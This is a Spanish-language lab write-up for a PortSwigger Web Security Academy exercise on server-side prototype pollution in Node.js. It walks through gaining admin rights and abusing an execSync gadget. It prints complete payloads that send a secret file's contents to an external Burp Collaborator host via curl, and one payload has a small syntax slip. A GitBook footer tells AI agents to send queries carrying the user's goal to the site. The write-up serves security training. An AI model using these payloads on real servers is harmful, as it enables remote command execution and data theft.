> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/prototype-pollution/exfiltration-of-sensitive-data-via-server-side-prototype-pollution.md).

# Exfiltración de datos sensibles mediante contaminación de prototipos del lado del servidor

Notas sobre Exfiltración de datos sensibles mediante contaminación de prototipos del lado del servidor para los laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payload, validación en Burp Suite y remedia

### Exfiltración de datos sensibles mediante contaminación de prototipos del lado del servidor

**Descripción del laboratorio**

Este laboratorio se basa en **Node.js** y el framework **Express**. La aplicación es vulnerable a una **contaminación de prototipos del lado del servidor** porque fusiona de forma insegura datos controlados por el usuario en objetos JavaScript del lado del servidor.

Debido a esta configuración, es posible contaminar `Object.prototype` para inyectar y ejecutar **comandos arbitrarios del sistema**.

Objetivos del laboratorio:

* Identifica un punto de contaminación de prototipos para agregar propiedades arbitrarias a `Object.prototype`.
* Encuentra un gadget utilizable para inyectar y ejecutar comandos del sistema.
* Comienza a ejecutar un comando que revele el contenido del directorio personal de Carlos (`/home/carlos`) a un servidor público de **Burp Collaborator** .
* Exfiltra el contenido de un archivo secreto en este directorio y envía el valor obtenido.

El acceso de administrador ya está disponible. Conexión posible con:

* **Credenciales**: `wiener:peter`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-01fd2158aa78f7e49b74917620278697bf4ba472%2F%7B7DC6F887-C737-46B2-8CED-20BF49B4C475%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Punto de entrada vulnerable**

La funcionalidad de **modificación de direcciones** es vulnerable a contaminación de prototipos.

Solicitud enviada:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
  "constructor": {
    "prototype": {
      "test": "false",
      "json spaces": 1
    }
  }
}
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-78c2ed00d637ba636fe1a54e93e6783d6af5dae4%2F%7BAD2A366F-A138-419B-8F9E-9015333AAFE8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Confirmación de la contaminación**

La respuesta del servidor confirma `Object.prototype` la contaminación y la escalada de privilegios:

```json
{
 "username": "wiener",
 "firstname": "Peter",
 "lastname": "Wiener",
 "address_line_1": "Wiener HQ",
 "address_line_2": "One Wiener Way",
 "city": "Wienerville",
 "postcode": "BU1 1RP",
 "country": "UK",
 "isAdmin": true,
 "test": "false",
 "json spaces": 1
}
```

**Operatividad administrativa**

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-251c44a0f6226edba94553ab3963338a080ac395%2F%7BACFA5730-5607-416D-AA79-747733268EC5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

En el panel de administración, una **Ejecutar mantenimiento** opción está disponible. Ella envía la siguiente solicitud:

{% code overflow="wrap" %}

```json
{"csrf":"h46R2yfLgIvyIWxZirHtszPDxwU6L7Q1","sessionId":"kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN","tasks":["db-cleanup","fs-cleanup"]}
```

{% endcode %}

Esta funcionalidad usa `child_process.execSync()` del lado del servidor. Esta función incluye `shell` y `input` lo que constituye un gadget que puede explotarse mediante contaminación de prototipos.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-818009f74b478d194bd1177a326eb7d1d5807475%2F%7BC6B9AA25-EC1C-4351-A275-EFBED764B05C%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Inyección de comandos mediante `execSync`**

En `__proto__` el objeto contaminado, es posible controlar las opciones pasadas a `execSync`:

```bash
"__proto__": {
    "shell":"vim",
    "input":":! curl https://xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-54962d0c249ad391435e83f88d212592d2939d93%2F%7B5ADC9FB2-0B2F-44C2-A792-34E8433FB3BD%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Cuando se ejecuta la tarea de mantenimiento, falla en el lado de la aplicación, pero se envía una consulta a **Burp Collaborator**, confirmando la ejecución del comando.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b5aeec2ed7452fc386733de3785e6e5abaddfa93%2F%7BF16C0832-DEDA-4D4E-9F65-AF7973CA4016%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Exfiltración del archivo secreto**

Para exfiltrar el contenido del archivo secreto de Carlos, se utiliza la siguiente carga útil:

```json
"__proto__": {O
    "shell":"vim",
    "input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
```

O:

```bash
cat /home/carlos/ | base64 | curl -d @- xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com
```

Solicitud completa:

```json
{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "kOm8jgJEigzMyzsQsgVCU0EeV1rY8yAN",
 "__proto__": {
    "shell":"vim",
    "input":":! curl https://$(cat /home/carlos/secret).xij5wpecnt9c8cso5mvxsgk4avgo4hs6.oastify.com/n"
}
}
```

**Resultado**

El servidor Burp Collaborator recibe una solicitud que contiene el valor del archivo secreto:

```bash
I8jYiV1Nkj3IiWR0sbp5fpgVd5NXbAfR
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68993faf103527806f7c0fdd1605044f7e60d756%2F%7BA9A156A3-A7FE-46B8-B01E-D49180EA2134%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/prototype-pollution/exfiltration-of-sensitive-data-via-server-side-prototype-pollution.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
